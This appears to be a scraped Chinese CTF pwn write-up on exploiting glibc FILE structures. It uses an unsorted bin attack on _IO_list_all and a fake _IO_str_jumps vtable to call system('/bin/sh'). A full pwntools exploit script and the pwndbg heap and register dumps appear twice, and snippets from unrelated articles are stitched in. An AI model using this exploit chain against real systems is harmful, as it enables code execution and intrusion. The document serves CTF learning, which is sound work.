system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0]
得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0]
unsortedbin[all][0]
pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 